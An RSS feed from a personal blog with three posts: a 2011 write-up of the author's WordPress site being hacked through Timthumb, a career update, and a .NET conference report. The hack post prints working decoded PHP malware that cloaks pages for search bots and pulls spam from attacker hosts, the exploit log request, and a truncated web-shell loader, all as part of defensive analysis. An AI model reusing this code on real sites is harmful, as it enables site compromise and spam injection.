<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Alex Warren</title>
	<atom:link href="http://www.alexwarren.co.uk/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.alexwarren.co.uk</link>
	<description></description>
	<lastBuildDate>Sun, 29 Apr 2012 12:39:24 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.2</generator>
		<item>
		<title>My website was hacked &#8211; yours could be too! You won&#8217;t know until it&#8217;s too late</title>
		<link>http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/</link>
		<comments>http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/#comments</comments>
		<pubDate>Wed, 30 Nov 2011 16:00:19 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=394</guid>
		<description><![CDATA[Yesterday I found out that my website had been hacked. Not only that, but it had been hacked months ago, and I hadn&#8217;t even noticed. How did this happen? I only found out about it because somebody was kind enough &#8230; <a href="http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>Yesterday I found out that my website had been hacked. Not only that, but it had been hacked months ago, and I hadn&#8217;t even noticed. How did this happen?</p>
<p>I only found out about it because somebody was kind enough to email me to let me know that they saw this on Google:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/hack1.png"><img class="alignnone size-full wp-image-395" title="Google result" src="http://www.alexwarren.co.uk/wp-content/hack1.png" alt="" width="689" height="343" /></a></p>
<p>That&#8217;s definitely a link to my website, but what&#8217;s happened to the title? Clicking on the link brought up my website, and nothing seemed wrong there &#8211; my browser was showing the correct title. It was only Google who were seeing a &#8220;spammified&#8221; version of the page.</p>
<p>I did a quick search and realised that my site had fallen victim to a version of the <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php">WordPress Pharma Hack</a> &#8211; a particularly sneaky hack which means everybody apart from Google sees the normal version of your page, meaning that you can be blissfully unaware that you&#8217;ve been hacked until you see something odd in your search results.</p>
<p>To solve the problem, you need to see your site as Google sees it. The most accurate way of doing this is to use <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a>. When you log in, under Diagnostics you can go to &#8220;Fetch as Googlebot&#8221;. I entered the page and waited a few seconds for Google to fetch it, then by clicking the &#8220;Success&#8221; link I was able to see the HTML that Google was seeing:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/webmaster1.png"><img class="alignnone size-full wp-image-399" title="Webmaster Tools" src="http://www.alexwarren.co.uk/wp-content/webmaster1.png" alt="" width="749" height="642" /></a></p>
<p>Oh dear. Where was that coming from?</p>
<p>I followed the advice on the article I linked to above &#8211; deactivating all plugins, then refetching the Google version of the page. No difference &#8211; it was obviously not a dodgy plugin that was to blame, and the spammy content was being injected somewhere else.</p>
<p>This would be a pain to debug by repeatedly refetching via Google Webmaster Tools, not least because you can only do a limited number of fetches. It would be much easier if I could see the Googlebot version of the page myself. The way to do this is to change your browser&#8217;s <a href="http://en.wikipedia.org/wiki/User_agent">user agent</a> string.</p>
<p>I use Chrome as my browser of choice. Despite there being plenty of documentation on the web suggesting that you can pass a &#8220;user-agent&#8221; parameter into chrome.exe, this no longer seems to work on the latest version of Chrome. Perhaps surprisingly, it was IE9 to the rescue. The debugging tools built in to IE9 are really rather good &#8211; just hit F12 and you can go to Tools, then &#8220;Change user agent string&#8221;, and you can make IE pretend that it&#8217;s anything. In my case, I set it to a custom string:</p>
<pre>Googlebot/2.1 (+http://www.google.com/bot.html)</pre>
<p>and then I loaded my site. Lo and behold, there was the hacked version of my page:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/hack2.png"><img class="alignnone size-full wp-image-401" title="Hacked version of website" src="http://www.alexwarren.co.uk/wp-content/hack2.png" alt="" width="1143" height="887" /></a></p>
<p>There was also some spammy text inserted into the content further down the page. Not pretty at all.</p>
<p>So, how was this spammy content being generated? I did a few experiments, making a few changes to the page. Any updates I made were not reflected in the hacked version, so this was clearly being served up in its entirety based on an older cached version of the page, rather than inserting spammy links on-the-fly.</p>
<p>I did a few more tests &#8211; I wanted to know if this was even coming through WordPress at all, maybe it was some kind of .htaccess hack? I deliberately put syntax errors in core WordPress files, and in the theme files. Breaking WordPress broke the hacked version of the page, but breaking the theme files didn&#8217;t. So the hacked code was clearly being run quite early in the page lifecycle, but was definitely within my WordPress PHP files somewhere.</p>
<p>I grabbed a copy of all my WordPress files from the server &#8211; the wp-admin, wp-content and wp-includes folders. The <a href="http://www.pearsonified.com/2010/04/wordpress-pharma-hack.php">article</a> I linked to earlier mentioned that WordPress hacks typically contain functions like &#8220;eval&#8221; and &#8220;base64_decode&#8221;, to obfuscate the hack code, so I did quick search through the WordPress files.</p>
<p>Bingo &#8211; the top of wp-includes/pluggable.php:</p>
<pre>&lt;?php
eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKD ...</pre>
<p>I ran the 6KB string through an online base 64 decoder, and here is the code that was being run <em>for every single request to my site</em>:</p>
<pre>error_reporting(0);
$bot_list = array("8.6.48","62.172.199","62.27.59","63.163.102","64.157.137","64.157.138","64.233.173","64.68.80","64.68.81","64.68.82","64.68.83","64.68.84","64.68.85","64.68.86","64.68.87","64.68.88","64.68.89","64.68.90","64.68.91","64.68.92","64.75.36","66.163.170","66.163.174","66.196.101","66.196.65","66.196.67","66.196.72","66.196.73","66.196.74","66.196.77","66.196.78","66.196.80","66.196.81","66.196.90","66.196.91","66.196.92","66.196.93","66.196.97","66.196.99","66.218.65","66.218.70","66.228.164","66.228.165","66.228.166","66.228.173","66.228.182","66.249.64","66.249.65","66.249.66","66.249.67","66.249.68","66.249.69","66.249.70","66.249.71","66.249.72","66.249.73","66.249.78","66.249.79","66.94.230","66.94.232","66.94.233","66.94.238","67.195.115","67.195.34","67.195.37","67.195.44","67.195.45","67.195.50","67.195.51","67.195.52","67.195.53","67.195.54","67.195.58","67.195.98","68.142.195","68.142.203","68.142.211","68.142.212","68.142.230","68.142.231","68.142.240","68.142.246","68.142.249","68.142.250","68.142.251","68.180.216","68.180.250","68.180.251","69.147.79","72.14.199","72.30.101","72.30.102","72.30.103","72.30.104","72.30.107","72.30.110","72.30.111","72.30.124","72.30.128","72.30.129","72.30.131","72.30.132","72.30.133","72.30.134","72.30.135","72.30.142","72.30.161","72.30.177","72.30.179","72.30.213","72.30.214","72.30.215","72.30.216","72.30.221","72.30.226","72.30.252","72.30.54","72.30.56","72.30.60","72.30.61","72.30.65","72.30.78","72.30.79","72.30.81","72.30.87","72.30.9","72.30.97","72.30.98","72.30.99","74.6.11","74.6.12","74.6.13","74.6.131","74.6.16","74.6.17","74.6.18","74.6.19","74.6.20","74.6.21","74.6.22","74.6.23","74.6.24","74.6.240","74.6.25","74.6.26","74.6.27","74.6.28","74.6.29","74.6.30","74.6.31","74.6.65","74.6.66","74.6.67","74.6.68","74.6.69","74.6.7","74.6.70","74.6.71","74.6.72","74.6.73","74.6.74","74.6.75","74.6.76","74.6.79","74.6.8","74.6.85","74.6.86","74.6.87","74.6.9","74.55.27","141.185.209","169.207.238","199.177.18","202.160.178","202.160.179","202.160.180","202.160.181","202.160.183","202.160.185","202.165.96","202.165.98","202.165.99","202.212.5","202.46.19","203.123.188","203.141.52","203.255.234","206.190.43","207.126.239","209.1.12","209.1.13","209.1.32","209.1.38","209.131.40","209.131.41","209.131.48","209.131.49","209.131.50","209.131.51","209.131.60","209.131.62","209.185.108","209.185.122","209.185.141","209.185.143","209.185.253","209.191.123","209.191.64","209.191.65","209.191.82","209.191.83","209.67.206","209.73.176","209.85.238","211.14.8","211.169.241","213.216.143","216.109.121","216.109.126","216.136.233","216.145.58","216.155.198","216.155.200","216.155.202","216.155.204","216.239.193","216.239.33","216.239.37","216.239.39","216.239.41","216.239.45","216.239.46","216.239.51","216.239.53","216.239.57","216.239.59","216.32.237","216.33.229","174.129.130","174.129.66","85.17.19");
$ip = preg_replace("/\.(\d+)$/", '', $_SERVER["REMOTE_ADDR"]);
$agent = $_SERVER["HTTP_USER_AGENT"];

	if ($_GET["testd"]=="ok") { print "ok!"; exit; }

if(in_array($ip, $bot_list) || strpos($agent, "bot"))	{
	if ($_SERVER["QUERY_STRING"]=="q") { print "ok!"; exit; }

	$page=urlencode("http://".$_SERVER["HTTP_HOST"].$_SERVER["REQUEST_URI"]);
	$outsourceurl=base64_decode('aHR0cDovL2dsYXZnZW4uY29tL2dldC5waHA/c2l0ZT0=').urlencode($_SERVER['HTTP_HOST']).'&amp;page='.urlencode($_SERVER['REQUEST_URI']).'&amp;ip='.urlencode($_SERVER['REMOTE_ADDR']).'&amp;agent='.urlencode($_SERVER['HTTP_USER_AGENT']);
	if (function_exists("curl_init")) {
	$c = curl_init();
	curl_setopt($c, CURLOPT_URL, $outsourceurl);
	curl_setopt($c, CURLOPT_RETURNTRANSFER, true);
	$out = curl_exec($c);
	curl_close($c);
	} else {
	$out = file_get_contents($outsourceurl);
	}
	if (substr($out,0,3) == "OK!") { echo substr($out,4); die; }
}

if (preg_match('/live|msn|yahoo|google|ask|aol/', $_SERVER["HTTP_REFERER"])) {
	$tabs = array ('viagra','cialis','levitra','propecia','prozac','xenical','soma','zoloft','tamiflu','sildenafil','tadalafil','vardenafil','finasteride','hoodia','acomplia','phentermine','adipex','tramadol','ultram','xanax','valium','ambien','ativan','vicodin','hoodia','acomplia');
	$niche='unknown';
	foreach($tabs as $tab)	{
		if(preg_match("/$tab/i", $_SERVER["HTTP_REFERER"]))	{
			$niche = $tab;
		}
	}
	if ($niche!="unknown") {
		$urlsutra = base64_decode('aHR0cDovL2tsaWtjZW50cmFsLmNvbS90cmFmZmljL2luLmNnaT8xMSZwYXJhbWV0ZXI9');
	if (false == ($str=file_get_contents($urlsutra.$niche."&amp;seoref=".$_SERVER["HTTP_REFERER"]."&amp;HTTP_REFERER=".$_SERVER['HTTP_HOST']))) {
    header("location: ".$urlsutra.$niche."&amp;seoref=".$_SERVER["HTTP_REFERER"]."&amp;HTTP_REFERER=".$_SERVER['HTTP_HOST']);
    exit;
    } else {
    echo $str;
    exit;
    }
	}
}</pre>
<p>What does this do? Well, for every request, it checks to see if the request came from a known search engine bot (such as Googlebot). If it does, the web server makes a request to a server controlled by the hacker, to get the spammified content for that page. In this case the hacker&#8217;s server is again a base64 encoded string which resolves to the domain glavgen.com.</p>
<p>A quick search for this domain on Google brings up a page entitled &#8220;WordPress Timthumb Viagra Attack : klikcentral.com / glavgen.com&#8221; and following links there brought me to a page about the <a href="http://blog.sucuri.net/2011/08/timthumb-php-security-vulnerability-just-the-tip-of-the-iceberg.html">Timthumb vulnerability</a>.</p>
<p>It&#8217;s not a WordPress security vulnerability exactly, but a lot of WordPress theme files include the open-source Timthumb library, and at the beginning of August 2011 it was discovered that this library contains a vulnerability allowing anybody to upload any PHP file to your server.</p>
<p>Now I must confess that this rang a bell. When I was redeveloping my website with WordPress earlier this year, I was in the market for a nice-looking theme which I could adapt to make it look as good as possible. I signed up with a couple of theme sites, <a href="http://www.elegantthemes.com/">ElegantThemes</a> and <a href="http://www.simplethemes.com/">SimpleThemes</a>.</p>
<p>I&#8217;d had an email from ElegantThemes on 4th August, a couple of days after the vulnerability was discovered. It warned that their themes used this vulnerable script, and that it would be a very good idea to update any of their themes I had installed to the latest versions from their site.</p>
<p>Well, I had the site up and running by this time, but I&#8217;d used SimpleThemes instead. I didn&#8217;t have any ElegantThemes themes installed on the server.</p>
<p>Guess what? SimpleThemes were using the same vulnerable script. But I never received a similar email from them.</p>
<p><strong>Cleaning Up</strong></p>
<p>Now to tidy up my web server. It was straightforward to remove the hack code from pluggable.php, and to download the <a href="http://code.google.com/p/timthumb/">updated version of Timthumb</a> to replace the vulnerable version that was bundled with my WordPress theme.</p>
<p>But how exactly had the hacker exploited the vulnerable Timthumb to update my pluggable.php? It was important to find out, otherwise there could be intermediate files left on my web server which could be easily used to re-hack it.</p>
<p>I wanted to identify exactly when the hack had taken place. I tend to download my web server log files fairly regularly, although unfortunately not every single day, and my web host only had copies going back a couple of months. It turned out that I was at least able to verify that it was indeed the vulnerable thumbs.php that was exploited &#8211; this line in my log file was the giveaway:</p>
<pre>88.198.51.36 - - [08/Aug/2011:04:39:45 +0200] "GET /wp-content/themes/impacto/thumb.php?src=http://picasa.com12345.dyndns.org/1.php HTTP/1.1" 400 153 www.textadventures.co.uk "-" "MSIE 7.0" "-"</pre>
<p>So my server had been hacked on 8th August &#8211; only a week after the vulnerability was disclosed. If I&#8217;d been using ElegantThemes, <em>and</em> had acted as soon as I got their email on 4th August, I&#8217;d have been safe, but it shows how quickly people need respond to announcements of these kinds of vulnerabilities, and by &#8220;people&#8221; I mean both theme providers and the users of those themes.</p>
<p>In the cache directory was the PHP that had been uploaded by the hacker. It looks like this (line breaks added for some clarity):</p>
<pre>&lt;?php $auth_pass = "47a85"."6c68e623468d"."84123e878"."81d1e3";
$color = "#df5";$default_action = 'File'.'sMan';$default_use_ajax = true;
$default_charset = 'Windo'.'ws-1'.'251';
preg_replace("/.*/e","ev" . "al(gz" . "inf" . "late(bas" . "e64_de" .
"co" . "de('5b1pdxrHEjD82fec+x9aE24GYoQA2bkOEli2LNlybMnR4lV+yAADT ...</pre>
<p>Another obfuscated base64 encoded file, but this time with the extra sneakiness of using string concatenation to mask the calls to &#8220;eval&#8221; and &#8220;base64_decode&#8221;. Even running the encoded text through an online decoder is no help, as it&#8217;s GZ compressed into the bargain.</p>
<p>I&#8217;m not sure exactly when the hacker ran his uploaded PHP script, as I think that is missing from my log files as I probably didn&#8217;t download that one at the time. I found another few hits from the same IP about a month later though, so this is clearly something they take their time over and keep quiet about.</p>
<p>The result of decoding the text is another PHP script. I ran this on a virtual machine to see what it did, and it&#8217;s a hacking tool called WSO 2.4 which gives the hacker full control over pretty much everything:</p>
<p><a href="http://www.alexwarren.co.uk/wp-content/hack-tool.png"><img class="alignnone size-full wp-image-407" title="WSO 2.4" src="http://www.alexwarren.co.uk/wp-content/hack-tool.png" alt="" width="1279" height="809" /></a></p>
<p>Using this tool they can edit any file, have full console access, run SQL and PHP commands, and even change the timestamp on files so you won&#8217;t even know they&#8217;ve been there.</p>
<p>I deleted the cache folder. I also ran &#8220;grep&#8221; over all files on my web server to look for a few key words from the WSO 2.4 file, to ensure that no trace of it had been left anywhere on the server.</p>
<p><strong>Summary of the attack</strong></p>
<p>So, in summary, here is how the attack worked:</p>
<ul>
<li>My WordPress theme, created by SimpleThemes, was using a vulnerable third-party library</li>
<li>SimpleThemes, unlike at least one rival company, do not appear to have taken steps to inform their customers that their WordPress installations are vulnerable</li>
<li>As a result, a hacker scanning servers for this vulnerability was able to upload their own PHP file to my server</li>
<li>This PHP file is cleverly obfuscated, even hiding its use of &#8220;standard&#8221; hacking functions such as &#8220;eval&#8221; and &#8220;base64_decode&#8221;</li>
<li>Some time after this PHP was uploaded, the attacker sent a request to my server to cause it to be run</li>
<li>This caused the PHP code within it to be extracted, installing the &#8220;WSO 2.4&#8243; back-door tool onto the server</li>
<li>This tool gives full access to the hacker to modify files. At some time, possibly weeks after installing WSO 2.4, they used it to modify a core WordPress file (pluggable.php)</li>
<li>This core WordPress file had an obfuscated function call added to it. Every page request to the server caused this function to run</li>
<li>The function would check to see if the page request originated from a bot. If it didn&#8217;t, the normal page output was displayed to the user, so nobody would know anything was wrong.</li>
<li>If the page request did originate from a bot, a remote call was made to a separate server under the hacker&#8217;s control. This server responded with a snapshot of the original page, modified to change the &lt;title&gt; tag and insert spammy text and links</li>
<li>This meant that Google results which returned my website had strange spammy titles</li>
<li>It was only thanks to the kindness of a stranger that I was informed about this at all.</li>
</ul>
<p><strong>Lessons Learned</strong></p>
<p>I&#8217;ve never had a website hacked before. In fact I don&#8217;t recall ever being the victim of anything like this &#8211; no computer viruses or other malware have ever made their way onto my machines (to the best of my knowledge and memory anyway). I&#8217;m usually pretty careful about security, installing updates as soon as they&#8217;re available, so it was gut-wrenching to discover that a server under my control had fallen victim to a hacker.</p>
<p>There are many levels of sneakiness to this attack, and there must be thousands of websites out there who have fallen victim to the same thing, but currently have absolutely no idea about it.</p>
<p>By exploiting a vulnerability not in WordPress itself, but in a file commonly installed with WordPress themes, the hackers have a good proportion of the reach of a &#8220;native&#8221; WordPress attack, but there is no WordPress patch than can ever fix this. Instead you have to rely on your theme provider to notify you of the problem, and clearly the message has not got through to all of them.</p>
<p>Once you&#8217;ve been hacked, you&#8217;ll have no idea about it, as the hackers take pains to not draw attention to themselves. You can use your own website normally and have no clue that there is anything wrong. But behind the scenes, a hacker can be adding obfuscated functions to your PHP files, controlling exactly what your web server displays to which visitors.</p>
<p>In this case, they showed a modified version of the page to Google, but there was absolutely nothing to stop them redirecting any visitor anywhere. Porn, malware downloads, phishing attacks &#8211; it was all easily in their grasp, but my hackers were keeping quiet.</p>
<p>You may not be so lucky with yours.</p>
<p>So how do you know if you&#8217;re vulnerable, or maybe even have already fallen victim?</p>
<ul>
<li>Check your WordPress themes folders for timthumb.php and thumb.php files <strong>now</strong>. This includes inactive themes. The file simply has to exist on the server &#8211; that&#8217;s it. The hackers scan for common theme folders, so if you&#8217;ve got an off-the-shelf theme with this vulnerability, they will find it. If they haven&#8217;t already.</li>
<li>Check your PHP files for suspicious &#8220;eval&#8221; and &#8220;base64_decode&#8221; function calls, usually with a big lot of text (though there&#8217;s no reason they couldn&#8217;t get more sophisticated about this and inject the code in an even more obscure way).</li>
<li>Check your site with <a href="http://www.google.com/webmasters/tools/">Google Webmaster Tools</a> and also try browsing your site yourself with a Googlebot user agent.</li>
</ul>
<p>How to prevent this kind of thing?</p>
<ul>
<li>You can&#8217;t rely on your theme provider to keep you secure. Take a look at the PHP files they&#8217;re using, so you know what third-party libraries are in use. Search for known vulnerabilities in these libraries, and if you can, subscribe to their mailing lists so you&#8217;ll have early warning if vulnerabilities are discovered.</li>
<li>Look at the <a href="http://codex.wordpress.org/Hardening_WordPress">Hardening WordPress</a> instructions. More stringent file permissions may have prevented or at least mitigated this problem.</li>
<li>Monitor your site. I could have probably spotted the flood of suspicious requests to thumb.php if I&#8217;d thought to look. Also it&#8217;s a good idea to check your site every so often, both as a regular user and by pretending to be Googlebot.</li>
</ul>
<p>If you have any more suggestions, I&#8217;d love to hear them in the comments!</p>
<p>I have reported the issue to SimpleThemes. At least one person on their forums has <a href="http://www.simplethemes.com/support/viewthread/533/">already posted</a> about this, but there are no replies (and I can&#8217;t add one, presumably as my account has expired). I will update this post if and when I hear back from them.</p>
<p>Stay safe out there&#8230;</p>
<p><strong>Update 1st Dec 2011:</strong></p>
<p>Some good comments below, and loads more over at <a href="http://www.reddit.com/r/webdev/comments/mutt6/how_my_wordpress_install_was_hacked_months_ago/">reddit</a>.</p>
<p>SimpleThemes wrote back to me, with the latest fixed theme files. Apparently they sent out an email warning about the exploit the week it was announced (didn&#8217;t say which date), and they updated the theme on 22nd August (this was after my site had been compromised). I never received an email though, and I&#8217;ve asked them why. I wonder if it is because my account with them had expired by this point &#8211; but if this is the case, in my view they should still have notified their &#8220;previous&#8221; customers about such a serious security vulnerability, even if they&#8217;re &#8220;out of support&#8221;. I will update this post again if I get clarification.</p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2011/11/30/my-website-was-hacked-yours-could-be-too-you-wont-know-until-its-too-late/feed/</wfw:commentRss>
		<slash:comments>10</slash:comments>
		</item>
		<item>
		<title>Try, try again</title>
		<link>http://www.alexwarren.co.uk/2011/03/14/try-try-again/</link>
		<comments>http://www.alexwarren.co.uk/2011/03/14/try-try-again/#comments</comments>
		<pubDate>Mon, 14 Mar 2011 22:26:12 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=350</guid>
		<description><![CDATA[Is this becoming a habit? My greatest weakness, boredom, has reared its head rather rapidly again, and I&#8217;ve found myself working through a notice period for the second time in less than twelve months. How did I manage to find myself &#8230; <a href="http://www.alexwarren.co.uk/2011/03/14/try-try-again/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p><a href="http://www.alexwarren.co.uk/wp-content/3355834452_0b7215c19a_m.jpg"><img class="size-full wp-image-359 alignright" title="Please Try Again" src="http://www.alexwarren.co.uk/wp-content/3355834452_0b7215c19a_m.jpg" alt="" width="240" height="180" /></a></p>
<p><a href="http://www.alexwarren.co.uk/wp-content/3355834452_0b7215c19a_m.jpg"></a>Is this becoming a habit? My <a title="My greatest weakness" href="http://www.alexwarren.co.uk/2010/07/01/my-greatest-weakness/">greatest weakness</a>, boredom, has reared its head rather rapidly again, and I&#8217;ve found myself working through a notice period for the second time in less than twelve months.</p>
<p>How did I manage to find myself in the same situation again? I left my previous employer at the end of July last year, and wrote at the time that I wanted to mix things up a bit, alternating between contracting and working on my own software business.</p>
<p>Well, now I&#8217;m going to have a second try at making that plan work. I&#8217;m not going to rush into job hunting like I did last time &#8211; in fact, I&#8217;m not even going to look for a job at all for a while. I want to devote my time to my own business, <a href="http://www.axeuk.com">Axe Software</a>, and see where it takes me.</p>
<p>The seemingly insane thing about my plan is that Axe Software is currently making <em>much less</em> money than ever &#8211; I&#8217;ve recently stopped charging for my text adventure game engine, <a href="http://www.axeuk.com/quest/">Quest</a>, and I&#8217;m working on the new version 5.0 as free open-source software.</p>
<p>That sounds mad &#8211; &#8220;giving up your job to work on software that you&#8217;re just going to give away? What the fuck is wrong with you? I&#8217;m OUT!&#8221; Well, I think it makes much more sense in the long term. Read my <a href="http://www.axeuk.com/blog/2010/10/18/quest-5-0-is-now-open-source/">blog post on making the switch to open source</a> for full details, but basically the software <em>has</em> to be free to compete with the other systems that are out there &#8211; not only are pretty much all of Quest&#8217;s competitors free, but historically they&#8217;ve been more powerful too.</p>
<p>By making Quest both free (done) and totally kick-ass (to do), I&#8217;m hoping to make it appeal to many more users. So, perhaps this means in future there may be more opportunities for me to do paid-for customisations, for example. Perhaps there are ways of making money from other services that fit around Quest. Whatever, it doesn&#8217;t actually matter &#8211; even if I never make a penny from it directly, I think it will be a great demonstration of the kind of work that I do &#8211; something that will make me stand out in the next round of job applications. Having all the code easily <a href="http://quest.codeplex.com/SourceControl/BrowseLatest">viewable on CodePlex</a> means future employers will have the ability to examine my work in considerable detail &#8211; every aspect of a large software project that I have designed, architected, coded, delivered, and is actually <em>enjoyed</em> by people who <em>choose</em> to use it. If an employer is not interested in that, it&#8217;s unlikely I&#8217;m interested in working for them.</p>
<p>But most importantly, <em>it&#8217;s what I want to do</em>. I really want to build this software, and I have the opportunity &#8211; I have enough savings that I don&#8217;t need to worry about earning a salary for a (little) while, and it seems almost irresponsible <em>not</em> to make the most of that. Does that make me sound like a colossal wanker? I hope not.</p>
<p>My employment comes to an end at the beginning of April, and I&#8217;m looking forward to it. Am I going to put my feet up and relax with my new-found freedom? Fuck, no. I&#8217;m going to be working &#8211; hard, much harder than I have ever worked before, to create some great software.</p>
<p><span style="font-size: 80%;">[Photo credit: "Please Try Again &lt;3" by <a href="http://www.flickr.com/photos/spam/3355834452/">Smath.</a>]</span></p>
]]></content:encoded>
			<wfw:commentRss>http://www.alexwarren.co.uk/2011/03/14/try-try-again/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>Guathon &#8211; new .NET stuff and Windows Phone 7</title>
		<link>http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/</link>
		<comments>http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/#comments</comments>
		<pubDate>Sun, 15 Aug 2010 10:18:14 +0000</pubDate>
		<dc:creator>Alex Warren</dc:creator>
				<category><![CDATA[Software]]></category>

		<guid isPermaLink="false">http://www.alexwarren.co.uk/?p=328</guid>
		<description><![CDATA[On Friday I went to Guathon, a free Microsoft conference all about the latest .NET stuff and Windows Phone 7, held at the Odeon cinema on Shaftesbury Avenue. I was lucky to get a place, as when registration opened last &#8230; <a href="http://www.alexwarren.co.uk/2010/08/15/guathon-new-net-stuff-and-windows-phone-7/">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
			<content:encoded><![CDATA[<p>On Friday I went to <a href="http://developerdeveloperdeveloper.com/gulon/">Guathon</a>, a free Microsoft conference all about the latest .NET stuff and Windows Phone 7, held at the Odeon cinema on Shaftesbury Avenue. I was lucky to get a place, as when registration opened last week, the website immediately buckled under the strain. It reminded me of trying to get tickets for Glastonbury &#8211; and you&#8217;d think Microsoft would be able to get this kind of thing right. But after a lot of refreshing, opening new tabs, and filling in the same registration form multiple times, I eventually got my confirmation email.</p>
<p>Arriving at the Odeon bleary-eyed yesterday morning, I knew I was in the right place when saw a long queue of poorly dressed men &#8211; I blended in seamlessly.</p>
<p><strong>Presentations without boredom</strong></p>
<p><a href="http://www.alexwarren.co.uk/wp-content/sguthrie.jpg"><img class="alignnone size-full wp-image-331" title="sguthrie" src="http://www.alexwarren.co.uk/wp-content/sguthrie.jpg" alt="" width="160" height="240" /></a></p>
<p><em>[image by </em><a href="http://www.flickr.com/photos/48003527@N00/480376936/"><em>Jeff Sandquist</em></a><em>]</em></p>
<p><a href="http://www.microsoft.com/presspass/exec/guthrie/">Scott Guthrie</a> is the man in charge of the .NET teams at Microsoft, and spent three quarters of the day doing presentations. It must have been pretty gruelling, but he didn&#8217;t show it &#8211; and he really knows his stuff, eschewing slides almost completely for a very hands-on style, mostly writing code in Visual Studio and answering questions as we went along. He&#8217;s a hugely effective presenter, and I just wish more people would learn that making a presentation isn&#8217;t all about knocking together slides in PowerPoint and then reading out each bullet point in a monotone.</p>
<p>The first session covered Visual Studio 2010 &#8211; a mix of new features, such as the improved IntelliSense, plus old features that surprisingly many people haven&#8217;t heard of, such as conditonal breakpoints. He also talked for a while about the new IntelliTrace debugging and automatic diagramming features which are sadly only available in the seriously expensive versions &#8211; a shame as it looks like these could be a real productivity boost for a lot of programmers. I&#8217;m still waiting to get my hands on VS2010 myself, as for some reason it&#8217;s taking Microsoft weeks and weeks to process my new Action Pack subscription.</p>
<p>By the end of the first session we were already overrunning massively, and everybody was in desperate need for some fresh air, a trip to the toilet and some coffee. If the Odeon had been prepared, they would have known that 250 developers logically entails a requirement for 250 lattes, but clearly this had been missed somehow as a huge queue quickly developed at the tiny coffee bar, with only one member of staff and the world&#8217;s slowest coffee machine.</p>
<p><strong>ASP.NET MVC, 1, 2 and 3</strong></p>
<p>Sessions two and four were all about ASP.NET MVC. This is a framework that sits on top of ASP.NET and provides a quite amazingly neat and elegant way of building web-based applications. I didn&#8217;t know anything about it before, but there was a good quick introduction before diving into the new stuff in versions 2 and 3, so I now feel like I&#8217;m up to speed and am quite keen to have a play with it &#8211; if only Microsoft would hurry up with letting me access the software I&#8217;ve ordered&#8230;</p>
<p>Instead of a load of slides, the presentation was entirely in Visual Studio, taking us from starting a new ASP.NET MVC project. &#8220;What kind of website shall we make?&#8221; asked Scott. &#8220;An event registration site&#8221; was the highly appropriate response, and Scott took us through creating the web application from scratch. He covered a huge amount of functionality in the way that makes the most sense to programmers &#8211; by actually writing code. Not only was it a great way of covering lots of material, the fact that he could cover so much during the sessions is testament to how well-designed the MVC framework is &#8211; it&#8217;s really very quick to start putting things together.</p>
<p><strong>Windows Phone 7</strong></p>
<p><img class="alignnone" title="Windows Phone 7" src="http://msnbcmedia2.msn.com/j/MSNBC/Components/Photo/_new/500x_pictureshub.grid-6x2.jpg" alt="" width="474" height="312" /></p>
<p>To give Scott a bit of a break from presenting, between the two ASP.NET MVC sessions Mike Ormond stepped in to talk about developing applications for Microsoft&#8217;s forthcoming Windows Phone 7 platform. It was a mixture of slides and a more hands-on demonstration, as he demonstrated writing a simple game which he then showed working on both an emulator and an actual prototype phone.</p>
<p>The presentation was good but I was left feeling underwhelmed by the product itself. Despite the name, Microsoft has effectively thrown away its old phone platform to start again, so it&#8217;s very much a &#8220;1.0&#8243; product at the moment. Unfortunately they seem to have taken all the worst bits of the iPhone and then added in some extra limitations of their own. Like Apple, they will be controlling the &#8220;Marketplace&#8221; (equivalent of the App Store) so they won&#8217;t accept certain types of applications. Like Apple, you can&#8217;t do proper multi-tasking &#8211; the phone will quit applications when you switch to another one, and as a developer you have to manually write code for saving the application&#8217;s state. Even the process of using the camera within an application causes it to restart, which seems very cumbersome. And for the moment they&#8217;ve even locked down things such as access to the camera flash LED, meaning no flashlight applications are allowed. This just seems dumb.</p>
<p>One of the positive things to come from Apple&#8217;s control freakery is that at least mobile network operators can&#8217;t stuff the phone with crappy applications themselves, but there are no such limitations on Windows Phone 7. Network operators have more power than ordinary developers, as they will be able to create proper native applications instead of the Silverlight and XNA apps that other developers will be limited to.</p>
